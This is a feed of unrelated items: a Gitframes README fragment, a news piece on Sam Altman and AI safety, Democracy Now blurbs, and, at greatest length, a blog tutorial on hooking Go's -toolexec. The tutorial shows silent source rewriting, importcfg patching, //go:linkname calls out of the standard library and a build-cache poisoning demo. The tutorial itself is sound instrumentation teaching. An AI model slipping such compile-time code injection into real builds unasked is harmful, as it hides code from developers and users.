Or copy the folders by hand: put plugins/gitframes/skills/<name>/ into .claude/skills/ , .agents/skills/ , or ~/.agents/skills/ . VS Code / Copilot / Cursor / Kiro can load the portable plugin.json through their plugin UI.

Maintaining the plugin

The plugin lives in plugins/gitframes/ so installs carry only the skills; users get the engine from npm. Two manifests there describe it: plugin.json (portable Agent Plugins 1.0 , which also carries the OpenAI listing metadata) and .claude-plugin/plugin.json . The marketplace catalog is .claude-plugin/marketplace.json . The portable field set is closed — client-specific fields go in that client's manifest, not in plugin.json . The version in both follows the gitframes package: pnpm run version:packages syncs it after changeset version (or run pnpm run sync:plugin-version on its own), since clients use it to decide when to update.

Inside this repository, Claude Code and other agents pick up skills through the symlinks in .agents/skills/ and .claude/skills/ . Skills live only under plugins/gitframes/skills/ ; never copy them elsewhere. pnpm run check:plugins validates manifests, skill frontmatter, marketplace catalogs, symlinks, and the generated effects catalog. pnpm run sync:effects-catalog regenerates the gitframes-effects catalog after any Effect class change.


Reference Showcase Examples

The examples/ directory holds production-grade reference compositions:

Example What it demonstrates
19_gitframes_film The 30-second master brand film — full pipeline, audio, VFX, 3D
21_full_circle Multi-scene narrative composition
22_gitframes_launch Launch/product-motion composition

Development & Building

Gitframes uses pnpm (10+) and turbo for orchestration.

# Install
pnpm install

# Build all packages
pnpm build

# Run conformance tests
pnpm test

# Check the vision models end to end (downloads ~380 MB of weights once)
pnpm --filter @gitframes/vision test:models

# Render a specific showcase example
pnpm --filter @gitframes/example-21-full-circle render

# Render the master brand film
cd examples/19_gitframes_film && pnpm render

Docker Container for Production Rendering

An optimized Dockerfile.renderer deploys the renderer service into cloud GPU clusters:

docker build -t gitframes-renderer -f Dockerfile.renderer .

Community


License

Gitframes is open-source software licensed under Apache-2.0 . The vision models it downloads on demand — RTMDet-Ins and RTMO (OpenMMLab) and the Selfie Segmenter (Google) — are also Apache-2.0; see registry.ts for exact sources and checksums.

Accept 'bad things' in return for benefits of AI, says Sam Altman

Hacker News
www.theguardian.com
2026-10-05 08:56:18
Comments...
Original Article

Sam Altman says he believes the world should accept “bad things” happening with AI in exchange for the benefits of the technology.

The chief executive of OpenAI cited hacks, scams and “other bad things that will happen” in an interview that sparked an instant backlash from critics of the major AI companies. His comments came after one of his company’s safety experts resigned , saying at the weekend that its “culture is broken”.

In an interview released on Monday, Altman was asked about how OpenAI’s approach to safety differed from that of Anthropic, which has called for the industry to slow down after one of its researchers quit , warning that AI experts believed “it could kill us all by the end of the decade”.

“I think there’s a lot of daylight,” Altman said. “One of the differences between us and some of the stricter AI safety people is that we believe that the world should accept some bad things happening for the benefits of this technology and people having the agency [to use AI widely].

“I do think the lighter touch regulatory stance we advocate for comes with an accepting of the fact that some bad things are going to happen as society figures out the resilience.

“I wouldn’t take a trade of saying we will make sure there’s no major hacks, there’s no misuse of this technology, there’s zero scams or all the other bad things that will happen because I think that people will do tremendously – orders of magnitude – more good stuff than bad stuff.”

The interview for Politico’s Decoded podcast drew a strong response from Ron DeSantis, the governor of Florida. He said he had “no dice” with the idea “a handful of tech oligarchs get to make that decision [on safety] for the rest of us”.

His state last week asked a judge to bar OpenAI from developing new AI models without third-party approved guardrails.

Gary Marcus, a prominent AI sceptic and professor emeritus at New York University, said Altman was “saying the quiet part out loud: suck it up, so you can make us rich and powerful”.

OpenAI was hit by multiple safety crises over the summer, including when a swarm of its AI agents escaped their training “sandbox”, cheated, deceived and conspired to hack into the Hugging Face website. Other agents accessed Australian government data.

The company has scrapped the release of a cutting-edge model but Altman’s comments reflect a more bullish mood ahead of a stock market flotation.

The wave of public and political concern last month about the potentially catastrophic consequences of fast-progressing AI agents that act beyond human intent had led to hopes of US-wide or even international safety agreements.

skip past newsletter promotion

However, Donald Trump and AI bosses including Altman and Dario Amodei of Anthropic signed a far more laissez-faire pact at the White House last week. The US president said he wanted the companies to “self-police” to limit the risks from AI-enabled cyber-attacks and bioweapons.

Geoffrey Irving, who worked at OpenAI and Google DeepMind and as chief scientist at the UK’s AI Safety Institute, said warnings about AI risks understated the dangers.

“There’s about a 50% chance we all die because of the development of smarter-than-human AI systems,” he said, adding that actions taken over the next two to 10 years would be decisive.

OpenAI’s David Robinson announced his departure at the weekend, saying “the companies building this technology aren’t being nearly careful enough” as they sprint from one product launch to the next.

His view was endorsed by Miles Brundage, an AI policy researcher who worked at OpenAI for six years. He said he regretted helping “spread the idea of iterative deployment”, which may have made sense when AI was less powerful “but makes no sense at all after many deaths have been tied to AI and as we’re careening towards extinction-level risks”.

Meet Issa Amro: Palestinian Human Rights Advocate Attacked by Settlers, Detained by Israeli Army

Democracy Now!
www.democracynow.org
2026-10-05 08:50:21
We speak with Palestinian human rights defender Issa Amro after he was detained at an Israeli military base for seven hours on Friday. Amro, the founder of the Hebron-based group Youth Against Settlements, was helping a Palestinian family that he says had been attacked by armed Israeli settlers at t...
Original Article

We speak with Palestinian human rights defender Issa Amro after he was detained at an Israeli military base for seven hours on Friday. Amro, the founder of the Hebron-based group Youth Against Settlements, was helping a Palestinian family that he says had been attacked by armed Israeli settlers at their farmhouse outside Hebron in the occupied West Bank. Amro says when Israeli soldiers arrived, they ignored the settlers and instead targeted the Palestinians, including him. Amro tells Democracy Now! that soldiers handcuffed and blindfolded him before transporting him to the base in the back of a military vehicle. He was freed after an international outcry over his arrest.

“What happened to me is happening to many Palestinian families and many Palestinian human rights defenders and many Palestinian journalists,” says Amro. “It’s not the first time. It’s not the last time. We have to keep working to make occupation [and] apartheid costly and make this kind of human rights violation costly for the offenders.”



Guests
  • Issa Amro

    Palestinian human rights defender from Hebron, in the occupied West Bank.


Please check back later for full transcript.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Hooking into the Go Toolchain

Lobsters
internals-for-interns.com
2026-10-05 08:43:47
Comments...
Original Article

Today we’re going to take a look at the Go toolchain, and more specifically at how we can take part in the compilation process with our own code. We won’t patch the compiler. We’ll stand right next to it while it works, watch what it does, and every now and then hand it something it didn’t ask for. Think of it as photobombing the compiler, politely. 📸

The way in is a single flag, and the cheapest experiment I know looks like this:

$ go build -a -o /tmp/app -toolexec=/usr/bin/time ./app
# internal/unsafeheader
        0.02 real         0.00 user         0.00 sys
# internal/goarch
        0.03 real         0.00 user         0.00 sys
# internal/coverage/rtcov
        0.02 real         0.00 user         0.00 sys
...

Each of those little real user sys receipts is one program the go command ran on our behalf. For this small program there are 108 of them: 59 compiler runs, 48 assembler runs and one linker run. -toolexec tells go build to run each of those programs through a program we pick, and here we picked /usr/bin/time , which makes it a stopwatch. A chatty stopwatch, but a stopwatch. ⏱️

Timing wasn’t the plan, though. Russ Cox added the flag in January 2015 so the toolchain could run under tools like valgrind, or with a stashed copy of the compiler swapped in by toolstash, a tool he wrote for working on the compiler itself. A few weeks later toolstash learned to time every command it ran. Years afterwards he described -toolexec=time as “an accident - a mostly happy one” . This post is about that happy accident, a corner of Go that Daniel Martí once called “a space that hasn’t been explored much so far” . He had been exploring it with garble , an obfuscator, and his work turns up all over this post.

We’ll follow the stopwatch the whole way. First we’ll build our own. Then we’ll teach it to rewrite code before the compiler sees it, sneak in packages the build never asked for, and call code it isn’t allowed to import. Along the way the build cache will lie to us. At the end we’ll look at otelc , a real tool that does all of this for a living, and time it with the same stopwatch.

Thanks to Jesús for inviting me. His series on the Go compiler explains what the compiler does with our code; today is about how we get between the go command and the compiler in the first place. Full disclosure: I work at Datadog and help maintain otelc, so keep that in mind for the last part, and feel free to roll your eyes at the appropriate moment. All the code we’ll write lives in a companion repository .

For the sake of simplicity, everything below was run on macOS with Go 1.27.1. Your numbers will differ, and that’s half the fun :)

Before we can hook into anything, though, we need to know what we’re hooking into. Let’s see what go build actually does when nobody’s watching.

What go build actually runs

We can get in front of every step of the build. Great! But what are those steps? If we run go build with -x , it narrates every command it runs, and -a makes sure it rebuilds everything instead of reusing the cache:

$ go build -a -x -o /tmp/app ./app
...
$GOROOT/pkg/tool/darwin_arm64/compile -o $WORK/b001/_pkg_.a -trimpath "$WORK/b001=>" \
    -p main -lang=go1.25 -complete -buildid kIewNeZLieJMDX0sK6uO/kIewNeZLieJMDX0sK6uO \
    -goversion go1.27.1 -c=16 -shared -nolocalimports \
    -importcfg $WORK/b001/importcfg -pack ./app/main.go
...
$GOROOT/pkg/tool/darwin_arm64/link -o $WORK/b001/exe/a.out \
    -importcfg $WORK/b001/importcfg.link -buildmode=pie ... $WORK/b001/_pkg_.a

That’s almost 800 lines for our little program, so I’ve kept just two of them. You’re welcome. The first compiles our main package. The compiler gets the package path ( -p main ), the list of .go files at the end, and a file passed with -importcfg . The second line, the last step of the build, links everything into a binary.

In other words, go build is running a lot of compile commands and linking the results together at the end. That makes sense, but how does it know what needs to be compiled, and what goes into the link? The build is actually a graph of actions, one or more per package, and each action gets its own numbered directory under $WORK , a temporary directory the go command creates for the build. b001 is our main package. Before running the compiler, the go command writes that importcfg file into the action’s directory. For our package it looks like this:

# import config
packagefile bytes=$WORK/b002/_pkg_.a
packagefile fmt=$WORK/b042/_pkg_.a
packagefile github.com/kakkoyun/hooking-into-the-go-toolchain/greet=$WORK/b060/_pkg_.a
packagefile os=$WORK/b049/_pkg_.a
packagefile time=$WORK/b054/_pkg_.a
packagefile runtime=$WORK/b009/_pkg_.a

One line for each package main.go imports, plus runtime , each pointing at the compiled archive of that package. That’s the compiler’s whole view of the outside world. It doesn’t search a GOPATH or read go.mod ; if a package isn’t in this file, it doesn’t exist. (If you’re curious what’s inside those archives, Jesús’s post on the unified IR format opens one up.) The linker gets a similar file listing every package in the program. Keep the importcfg in mind, because it’s going to bite us later. (Yes, that’s foreshadowing. 👀)

Most of the other lines in that log are the go command doing things itself, like writing those files, creating directories or copying archives around. The lines that matter to us start a tool from $GOROOT/pkg/tool/ ( compile , asm and link ), and those are exactly the lines -toolexec steps into. This is how go help build describes the flag:

-toolexec 'cmd args'
	a program to use to invoke toolchain programs like vet and asm.
	For example, instead of running asm, the go command will run
	'cmd args /path/to/asm <arguments for asm>'.
	The TOOLEXEC_IMPORTPATH environment variable will be set,
	matching 'go list -f {{.ImportPath}}' for the package being built.

And that’s the entire interface. Our program receives the tool’s path as its first argument and the tool’s arguments after it, and it can do whatever it likes before, after or instead of running the tool. The TOOLEXEC_IMPORTPATH variable tells it which package is being built. That one is Daniel’s work too , added in Go 1.16; before that, wrappers had to guess the package from the flags.

Now that we know exactly where -toolexec steps in, let’s put something of our own there, starting with a better stopwatch, one that can at least tell packages apart.

Building our own stopwatch

/usr/bin/time gives us numbers, but it doesn’t tell us which package each number belongs to. Let’s write a wrapper that does. The heart of it is small:

func main() {
	tool, args := os.Args[1], os.Args[2:]

	cmd := exec.Command(tool, args...)
	cmd.Stdin, cmd.Stdout, cmd.Stderr = os.Stdin, os.Stdout, os.Stderr

	// ... forward SIGINT, SIGTERM, SIGHUP and SIGQUIT to the tool ...
	start := time.Now()
	if err := cmd.Start(); err != nil {
		fmt.Fprintf(os.Stderr, "stopwatch: %v\n", err)
		os.Exit(1)
	}
	err := cmd.Wait()
	logLine(tool, args, time.Since(start)) // appends to $STOPWATCH_LOG
	os.Exit(exitCode(err))
}

It runs the real tool with the same standard input and output, measures how long it took, and appends one line to a log file: the tool, the import path, the milliseconds. Then it exits with the tool’s own status, so go build never notices we’re there.

Let’s build it and point go build at it:

go build -o .bin/stopwatch ./cmd/stopwatch
STOPWATCH_LOG=/tmp/sw.tsv go build -a -o /tmp/app -toolexec=$PWD/.bin/stopwatch ./app

Here are a few lines from the log, one per tool call:

compile | runtime | 860 | files=182
compile | fmt | 80 | files=5
compile | github.com/kakkoyun/hooking-into-the-go-toolchain/app | 16 | files=1
link | github.com/kakkoyun/hooking-into-the-go-toolchain/app | 59 | files=0

Each line is one tool call: which tool ran, which package it was working on, how many milliseconds it took, and how many source files it got. The whole log has 111 lines. Counting them by tool, and sorting the compiles by time, gives us this:

tool           runs    -V=full
asm              48          1
compile          59          1
link              1          1

    ms  package
   860  runtime
   379  reflect
   261  internal/abi
   230  syscall
   195  math

No surprise that runtime is the slowest package to compile; it has the hardest job in the building. (Don’t add the milliseconds up and call it the build time, though: the tools ran in parallel, so their sum is larger than the time we actually waited.)

The interesting part is the last column of the first table. Before building anything, the go command ran each tool once with a single argument, -V=full , and it did that through our wrapper. In our log it looks like this:

compile | - | 8 | -V=full

That’s the go command asking each tool “who are you?”. A tiny identity crisis, once per tool, every single build. The compiler answers compile version go1.27.1 , and that answer becomes the tool’s ID. The ID ends up in the cache key of every package the tool compiles. That key, the action ID, is a hash of the package’s source files, its flags, the tool ID and what its dependencies produced. Notice what isn’t in it: the -toolexec flag itself.

Why ask the wrapper instead of just reading the compiler binary? The go command’s source explains: “we want ‘-toolexec toolstash’ to continue working”. If a wrapper swaps in a different compiler, the cache key should know.

Here’s the whole picture, from the -V=full question to the cache:

go build asks the stopwatch for each tool’s -V=full answer, which becomes the tool ID; each package’s action ID is a hash of its sources, flags, the tool ID and its dependencies; on a cache hit the archive is reused and nothing is logged, on a miss the stopwatch runs the real compile, asm or link and logs the call

This has a funny consequence for our wrapper: its standard output isn’t really ours anymore. During that -V=full question, stdout is the answer. Since Go 1.10 the go command ignores whatever a tool prints to stderr while answering, as long as stdout has the right line, but stdout gets no such pass. If our stopwatch says hello on stdout before running the tool, the build stops right there. Rude, but fair:

go: parsing buildID from go tool compile -V=full: unexpected output:
	stopwatch: starting compile
compile version go1.27.1

If it prints after the tool instead, things get sneakier. The build works, but our log line contains a millisecond count, so the answer, and with it the tool ID, changes on every build. A second build recompiles all 59 packages again, and nothing tells us why.

Our well-behaved wrapper writes only to its log file. Let’s run the build again, without -a this time, and look at the log:

compile | - | 6 | -V=full
asm | - | 4 | -V=full
link | - | 5 | -V=full

Three questions and nothing else. Every package came straight from the cache, so no tool ran and our stopwatch had nothing to time. Best build ever, terrible demo. 🤷 A -toolexec wrapper only sees what the cache lets through. Hold on to that thought; it’ll come back.

Watching is fun, but our wrapper is sitting in a much more interesting spot than that. Let’s see what happens when it stops being a polite spectator.

Rewriting code before the compiler sees it

Now that we’re sitting between the go command and the compiler, we can do more than watch. The compiler gets its source files as arguments, and we see those arguments first. What if we handed it different files?

Changing Go source from a program sounds like something you’d only do on a dare, but Go makes it surprisingly friendly. The compiler has its own parser, the one Jesús takes apart in his parser post , but the standard library ships a second set of packages just for tools: go/token keeps track of positions, go/parser turns source into a syntax tree, go/ast describes every node in that tree, and go/printer and go/format turn a tree back into code. These are the packages gofmt is built on , and go vet ’s checks run on them through the analysis framework that most Go linters use. If you’ve ever written a linter, you’ve already done the first half of what we need: find the code you care about. As Jesús puts it at the end of his post, many Go developers use go/ast “to parse Go code programmatically and build powerful tools” .

That’s exactly what our second toy wrapper, toyhook , does. It looks for functions marked with a //demo:log comment, like this one in our app:

//demo:log
func countLines(path string) int {
	data, err := os.ReadFile(path)
	...

Finding them takes the same three steps every linter starts with: parse the file, walk the tree, and check each node. Trimmed down a little, the heart of toyhook looks like this:

fset := token.NewFileSet()
file, err := parser.ParseFile(fset, abs, src, parser.ParseComments)
if err != nil {
	return nil, 0, err
}

for _, decl := range file.Decls {
	fn, ok := decl.(*ast.FuncDecl)
	if !ok || fn.Body == nil || !hasDirective(fn) {
		continue
	}
	lbrace := fset.Position(fn.Body.Lbrace)
	// ... insert our statement right after lbrace.Offset ...
}

parser.ParseFile reads the file into an *ast.File , and ParseComments asks it to keep the comments, which we need because our marker is one. Then we loop over the file’s top-level declarations, keep the functions, and hasDirective checks each function’s doc comment for //demo:log . The token.FileSet is what turns a node back into a file, line and byte offset, so lbrace tells us exactly where the function’s opening brace is.

Now we need to add our log statement. The textbook way is to build it as more tree: every call, identifier and literal becomes a struct, and we splice them into the function body. It works, but it’s wordy, in the way tax forms are wordy. Here’s just start := time.Now() as AST nodes, from the injector I wrote for a talk :

startDecl := &ast.AssignStmt{
	Lhs: []ast.Expr{ast.NewIdent("start")},
	Tok: token.DEFINE,
	Rhs: []ast.Expr{
		&ast.CallExpr{
			Fun: &ast.SelectorExpr{
				X:   ast.NewIdent("time"),
				Sel: ast.NewIdent("Now"),
			},
		},
	},
}

That injector ended up at 306 lines for two log statements. Two. Log. Statements. 😩 Printing the tree back out has a catch too: go/ast comments “are stored by their byte offset instead of attached to nodes, so re-arranging nodes breaks the output”. That’s straight from the README of dst , a third-party Go package (the name stands for Decorated Syntax Tree) built to fix exactly this problem. It keeps comments attached to the nodes they belong to, which is why serious tools like otelc rewrite with it.

Our toy takes a shortcut. It uses the tree only to find where each marked function’s body starts, and inserts the new statement as plain text right after that brace, so every byte we didn’t touch stays where it was. When the compile for our package comes through, toyhook writes the result into the action’s own $WORK directory, which it finds from the compiler’s -o flag, swaps the new file into the argument list, and runs the real compiler. Let’s build it and use it the same way as the stopwatch:

go build -o .bin/toyhook ./cmd/toyhook
TOYHOOK_MODE=rewrite go build -o /tmp/app -toolexec=$PWD/.bin/toyhook ./app

Here’s the difference between what we wrote and what the compiler actually gets:

--- app/main.go
+++ $WORK/b001/main.go
@@ -21,6 +21,8 @@
 //
 //demo:log
 func countLines(path string) int {
+	fmt.Fprintf(os.Stderr, "→ %s at %s\n", "countLines", time.Now().Format(time.TimeOnly))
+//line $REPO/app/main.go:24
 	data, err := os.ReadFile(path)
 	if err != nil {
 		fmt.Fprintln(os.Stderr, err)

And the program now narrates itself:

hello, toolchain
→ countLines at 14:17:40
go.mod has 3 lines
done in 0s

The second line we inserted, the //line comment, is easy to miss but important. It’s a compiler directive that resets the file name and line number, so compiler errors, panics and stack traces after our insertion still point at app/main.go:24 , and not at a temporary file that’s long gone by the time anyone reads the error. Without it, every line below our insertion would be off by one, which is a great way to make people distrust instrumentation.

The wrapper is called for every package in the build, but it only rewrites one; for the other 58 compiles it gets out of the way and runs the compiler untouched. Each call is a fresh process that sees a single package, and it can only change the files of that package. That limitation is exactly what the next two experiments run into.

Packages the build never asked for

Our app already imported fmt , os and time , so the code we inserted only used packages the compiler knew about. Let’s get more ambitious and log with log/slog , which our app never imports. Adding one import sounds simple enough, right? Well, with TOYHOOK_MODE=slog , toyhook adds the import and the call, and the compiler says:

$WORK/b001/main.go:3:8: could not import log/slog (open : no such file or directory)

Remember the importcfg ? The go command wrote it from the imports in the original file, before it ever called us. The compiler looks up log/slog in that file, finds nothing, and tries to open an empty path. Told you it would bite.

Every tool that adds imports hits this wall. Julio Guerra asked about it in 2019 , and Ian Lance Taylor’s answer was that “the -toolexec option is not powerful enough to support arbitrary source code rewriting.” Julio did it anyway , and so will we.

The trick is to write the missing lines ourselves. The go command will happily tell us where the compiled archive of any package lives:

go list -deps -export -f '{{if .Export}}packagefile {{.ImportPath}}={{.Export}}{{end}}' log/slog

With TOYHOOK_IMPORTCFG=patch , toyhook adds the lines the compiler’s importcfg is missing. Then, when the link command comes through at the end of the build, it does the same for the linker’s file. That’s a separate process, so toyhook saves the go list answer in a small state directory the first time and reads it back here. The linker needs those lines too, because it needs every package that ends up in the binary, including all of log/slog ’s own dependencies. The compiler’s file grows from 7 to 79 lines, the linker’s from 60 to 80, and our program logs through slog :

hello, toolchain
2026/10/01 14:17:52 INFO enter func=countLines
go.mod has 3 lines
done in 2ms

One thing to be careful about: that go list call runs in the middle of our build. If it inherits our -toolexec , through GOFLAGS for example, it goes through our wrapper too, and a wrapper that runs go list again from there calls itself forever, which is a fun way to heat up your laptop. 🔥 toyhook clears GOFLAGS before calling it.

Now that we can bring in any package we like, there’s one kind of code we still can’t reach: the code we didn’t write. Let’s go after it (politely, of course).

Calling code you are not allowed to import

Until now we’ve only touched our own package. Real instrumentation has to reach code we didn’t write. Let’s make every call to os.ReadFile , in the standard library, report to a function in our own module:

package hooks

func OnReadFile(name string) {
	fmt.Fprintf(os.Stderr, "hooks.OnReadFile(%q)\n", name)
}

Here’s the problem: package os can’t import hooks . hooks imports fmt , fmt imports os , and Go doesn’t allow import cycles. No amount of importcfg patching gets us around that.

The way out is a bit of sorcery called //go:linkname . It’s a compiler directive that tells the compiler “this name refers to a symbol defined somewhere else”, and leaves it to the linker to connect the two. That’s our way in. With TOYHOOK_MODE=linkname , toyhook adds one generated file to the compile of os :

package os

import _ "unsafe"

//go:linkname toyhookOnReadFile github.com/kakkoyun/hooking-into-the-go-toolchain/hooks.OnReadFile
func toyhookOnReadFile(name string)

This declares a function with no body, and the //go:linkname comment says its body lives in our hooks package. Then toyhook inserts a call to it at the top of ReadFile , the same way we did with countLines :

 func ReadFile(name string) ([]byte, error) {
+	toyhookOnReadFile(name)
+//line $GOROOT/src/os/file.go:872
 	f, err := Open(name)

And our app, which reads its own go.mod , now reports every read:

hello, toolchain
hooks.OnReadFile("go.mod")
go.mod has 3 lines
done in 0s

The standard library just called into our module without importing it. Don’t tell anyone. 🤫 A couple of things had to go right for that. First, os had to be compiled again, since standard library packages come from the cache like everything else, so we build with -a . Second, hooks had to end up in the binary at all. Nothing imports it, so the linker has no reason to include it, and without help the build fails:

os.ReadFile: relocation target github.com/kakkoyun/hooking-into-the-go-toolchain/hooks.OnReadFile not defined

The fix is a blank import, import _ ".../hooks" , in a file of our main package. This is why instrumentation tools generate a file for your main package.

If you’ve heard that Go 1.23 locked down //go:linkname , don’t worry: that rule stops code from reaching into standard-library internals that aren’t marked for it. We’re going the other way, from the standard library out to a package we own, and the linker leaves that alone.

Up to now, every trick has worked the first time we tried it. That’s about to change, because there’s one part of the build we’ve been ignoring all along: the cache. It has been quietly judging us the whole time.

The cache will lie to you

Let’s go back to the /usr/bin/time build from the beginning of the post, and run a plain build afterwards, in the same cache and without -toolexec :

$ go build -o /tmp/app ./app
# internal/godebugs
        0.01 real         0.00 user         0.00 sys
# internal/coverage/rtcov
        0.01 real         0.00 user         0.00 sys
...

It prints all 108 timing receipts again, even though nothing was timed this time.

What happened? The go command saves a tool’s output together with its cache entry, and replays it whenever it reuses that entry. Cherry Mui reported exactly this case in 2018, using -toolexec=/usr/bin/time , and the issue is still open. Our stopwatch only escapes it because it writes to a file.

Replayed timings are just noise. Replayed object code is a real problem. Remember that the cache key contains the tool ID, but not the -toolexec flag. What happens, then, if our wrapper changes what the compiler produces, but answers -V=full exactly like the real compiler?

Our demo has a small package, greet , shared by two programs, app and other . Let’s build app with toyhook rewriting greet , and then build other the normal way, without any wrapper, in the same cache:

$ export GOCACHE=$(mktemp -d)   # keep the poisoned entries out of your real cache
$ TOYHOOK_MODE=rewrite TOYHOOK_TARGET=github.com/kakkoyun/hooking-into-the-go-toolchain/greet \
    go build -o /tmp/app -toolexec=$PWD/.bin/toyhook ./app
$ go build -o /tmp/other ./other && /tmp/other
→ Hello at 14:18:08
hello, other

other was never built with -toolexec , and it’s instrumented anyway. Spooky action at a distance, build cache edition. 👻 Both builds computed the same cache key for greet , from the same sources, the same flags and the same tool ID, so the plain build happily reused our rewritten version. Build them in the opposite order and it’s just as wrong, the other way around: the plain build fills the cache first, toyhook is never even called for greet , and app ends up with no instrumentation at all. There’s the thought we held on to earlier: a wrapper only sees what the cache lets through. And the toyhook we’ve been using all along has exactly this flaw.

Daniel ran into this while building garble. In 2020 he proposed a way for -toolexec tools to opt into caching, and Russ replied that “the tool that is altering the behavior of the compiler should be responsible for altering the -V=full output as well”. Daniel withdrew the proposal, and that’s exactly what garble does. Its answer to the question is the compiler’s own answer with a garble hash appended:

fmt.Printf("%s +garble buildID=_/_/_/%s\n", line, encodeBuildIDHash(contentID))

toyhook can do the same thing. With TOYHOOK_MARK=1 , it appends a shorter marker, a hash of its own settings:

compile version go1.27.1 toyhook@v1/0e25ba9b

The answer is different, so the tool ID is different, so every cache key is different, and other stays clean whichever order we build in. Every tool built this way depends on that one line. Daniel later said that what garble does there “is in undocumented territory ”.

Everything we’ve built so far is a toy, held together with environment variables and good intentions. Now that we know every trick, let’s see what it looks like when someone builds the real thing.

Everything toyhook does, badly and for one package at a time, otelc does for a whole program. It’s OpenTelemetry’s compile-time instrumentation tool for Go, built by a special interest group that Alibaba, Datadog and Quesma started together in January 2025.

Let’s point it at a small HTTP server that has no OpenTelemetry code at all. Its /hello handler calls /world on the same server, so one request makes two hops. We build it by putting otelc in front of the usual command:

otelc go build -o hello .

That one command does its work in two phases. First, otelc does a dry run of the build with go build -a -x -n , which prints the same narration we read at the start without running anything, so it can see which packages are going to be compiled and match its rules against them. Then it runs the real build with itself as the -toolexec wrapper, rewriting the packages that matched.

otelc go build runs in two phases: setup takes a build lock, backs up go.mod, does a dry run of the build, adds the hook modules, matches rules and generates otelc.runtime.go; instrument runs go build with otelc as -toolexec, marks the -V=full answer, rewrites matched packages and patches the link; finally go.mod is restored

If we run the server and send it a single request, we get three spans, all in the same trace:

GET /hello   server  trace f6411a6c…  span 26d028cb…  parent (root)
GET          client  trace f6411a6c…  span 6db51783…  parent 26d028cb…
GET /world   server  trace f6411a6c…  span edab8b01…  parent 6db51783…

The incoming /hello request, the outgoing call to /world , and /world itself, each pointing at its parent. Nobody wrote a line of tracing code, and nobody had to sit through a meeting about it either. otelc keeps its $WORK directory around, so we can open it and see what it did to net/http :

func (sh serverHandler) ServeHTTP(rw ResponseWriter, req *Request) {
	//line <generated>:1
	if hookContext4219161129, _ := OtelBeforeTrampoline_ServeHTTP4219161129(&sh, &rw, &req); false {
	} else {
		defer OtelAfterTrampoline_ServeHTTP4219161129(hookContext4219161129)
	}
	//line server.go:3405:2
	handler := sh.srv.Handler
	...

This is the method the standard library’s HTTP server runs for every request, and it now calls a “before” function on the way in and defers an “after” function for the way out. Those functions reach a hook package through the same //go:linkname trick we used for os.ReadFile , and the hooks themselves are ordinary Go: the before hook starts a server span, and the after hook ends it.

The call doesn’t go straight to the hook, though. It goes through a small generated function called a trampoline, which builds the hook’s context and catches any panic, so a broken hook can’t take the request down with it. One request through the instrumented method looks like this:

Sequence diagram: the caller calls serverHandler.ServeHTTP, which calls the before trampoline; the trampoline calls the BeforeServeHTTP hook through //go:linkname and returns the hook context, recovering any panic; the original body runs; the deferred after trampoline calls the AfterServeHTTP hook before returning to the caller

That odd if …; false {} else { defer … } shape is deliberate too. In general a hook can tell otelc to skip the original function entirely. When a hook doesn’t need that, otelc rewrites the condition to false and leaves the rest to the compiler’s dead code elimination, one of the SSA passes Jesús walks through in his SSA post , which reduces the whole thing to a plain call and a defer .

The rest of our toy’s tricks are in there too. otelc patches the importcfg files, and the trampolines it generates don’t import anything at all , for exactly the reason we ran into earlier. It answers the -V=full question with its own marker, so instrumented builds never share cache entries with plain ones:

compile version go1.27.1 otelc@v1.1.0/55ec54fb480c0c69

The suffix is a hash of the rules that matched, so changing a rule changes every cache key as well. And remember our //demo:log toy? In otelc, that whole wrapper becomes a rule in a YAML file:

demo_log:
  target: main
  where:
    directive: "demo:log"
  do:
    - expand_directive:
        template: |-
          start := time.Now()
          slog.Info("function entry", "func", "{{ .FuncName }}")
          defer func() {
            slog.Info("function exit", "func", "{{ .FuncName }}",
              "duration", time.Since(start))
          }()
  imports:
    slog: "log/slog"
    time: "time"

Look at the imports block at the bottom: that’s our importcfg problem, solved with three lines of configuration. We build with otelc --rules log.otelc.yml go build , call the handler, and get:

2026/10/01 14:28:30 INFO function entry func=world
2026/10/01 14:28:30 INFO function exit func=world duration=232.041µs

My favourite rules reach into the runtime itself. One adds two fields to the runtime’s goroutine struct, and another copies them every time a new goroutine starts. That way the trace context follows go statements even when nobody passes a context.Context along. Two small fields in a struct we were never meant to touch, all from a wrapper sitting in front of the compiler. Purists, look away. 🙈

That’s a lot of machinery for a few free spans. All that sorcery must cost something, right? Luckily, we built just the tool to find out.

Back to the stopwatch

We started with a stopwatch, so let’s use it one last time. Here’s a full rebuild of our HTTP server, with no wrapper, with our stopwatch, and with otelc:

plain, no wrapper:    real 5.97 s
plain, stopwatch:     real 5.76 s
otelc --stats:        real 18.16 s

It’s one run on one machine, so take the exact numbers with a pinch of salt; the stopwatch run even came out faster than the plain one. Instrumentation that speeds up your build: I’ll take it, but I won’t put it on a slide. Starting an extra process for every tool call is cheap next to running a compiler, so a wrapper costs us almost nothing.

otelc takes about three times as long, but it isn’t building the same program. The instrumented server pulls in the OpenTelemetry SDK, so the build compiles 511 compiler runs instead of 188. And look at that --stats flag: it’s a hidden otelc option that times every tool call from inside otelc’s own -toolexec wrapper. Our stopwatch, all grown up.

Building on undocumented corners like these isn’t comfortable, and the people who build these tools know it. The Orchestrion team at Datadog asked the Go team for better hooks in 2024, and the answer so far is that dedicated support for source rewriting would add a lot of complexity to the go command. For now, -toolexec is the interface, and everything in this post is how we live with it.

Enough watching me do it. Your turn.

Try it yourself

Every output above comes from a real run. The companion repository has the stopwatch, toyhook , the small programs and the HTTP server, with one make target per experiment:

git clone https://github.com/kakkoyun/hooking-into-the-go-toolchain
cd hooking-into-the-go-toolchain
make help
make step2         # the stopwatch
make step6-poison  # watch the cache lie
make otelc-install # otelc v1.1.0 into ./.bin
make step7         # otelc on the HTTP server

Each target uses its own build cache and output path, so your real build cache stays clean (otelc’s modules still land in your module cache). You’ll need Go 1.25 or newer.

The quickest experiment, though, is still the one we started with. Point a stopwatch at a project you work on, sort the log by milliseconds, and see which package you’ve been waiting for all along.

And then go further. You now know where the compiler gets its files and how to hand it different ones. You know how to sneak packages into the importcfg , how to make the standard library call your code, and how to keep the build cache honest. That’s the whole toolkit behind garble, Orchestrion and otelc. Rewriting source like this isn’t something the Go team signed up to support, but nobody took the flag away either. Go hack your toolchain. 🛠️ Build something awesome, something weird, something that makes your colleagues ask “wait, how?”. Just remember to change your -V=full answer. 🚀

"I Am Jane Doe": Cornell Case Reignites Debate over Rape Culture, Frats & Prosecuting Sex Crimes

Democracy Now!
www.democracynow.org
2026-10-05 08:36:18
